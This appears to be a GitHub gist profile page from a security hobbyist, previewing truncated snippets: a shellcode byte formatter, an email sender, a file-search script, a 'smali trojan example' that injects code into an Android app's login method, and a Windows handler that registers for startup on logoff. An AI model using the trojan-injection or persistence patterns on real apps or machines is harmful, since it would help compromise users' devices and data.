Skip to content

Instantly share code, notes, and snippets.

View agentzex's full-sized avatar
💭
Working on new cyber security projects

agentzex

💭
Working on new cyber security projects
View GitHub Profile
# Enter raw string, \x delimted shellcode
shellcode_string = r"\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d"
shellcode = []
shellcode_string = shellcode_string.split('\\x')
for b in shellcode_string:
if b:
shellcode.append("0x" + b.upper())
shellcode = ", ".join(shellcode)
print("[" + shellcode + "]")
@agentzex
agentzex / hitech_problems_email_sender.py
Last active July 19, 2020 21:28
HiTechProblems email sender
# -*- coding: utf-8 -*-
#use python3 (tested on 3.7)
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formatdate
import urllib.urequest
import time
import network
time.sleep(3)
print("\n\n\n***********\n")
wlan = network.WLAN(network.STA_IF)
wlan.active(True)
if wlan.isconnected():
@agentzex
agentzex / search_in_path.py
Created November 8, 2018 01:06
search a string in the contents of all files of a path
import os
import re
def search_line(line, string_to_search):
if re.search(r'\b' + string_to_search + r'\b', line, re.IGNORECASE):
return True
def search_string(dir_path, string_to_search):
@agentzex
agentzex / trojaning.smali
Last active November 8, 2018 01:57
smali trojan example
.method private loginToServer()V
# Start of added trojan code
.locals 6
# End of added trojan code
.prologue
.line 200
...
...
invoke-virtual/range {v4 .. v4}, Lil/co/***/android/data/User;->getEmailAddress()Ljava/lang/String;
BOOL WINAPI HandlerRoutine(DWORD signalType)
{
switch (signalType)
{
case CTRL_LOGOFF_EVENT:
//Enter your code to be performed right before log-off here
RegisterForStartup();
return TRUE;
case CTRL_SHUTDOWN_EVENT:
//Enter your code to be performed right before shutdown here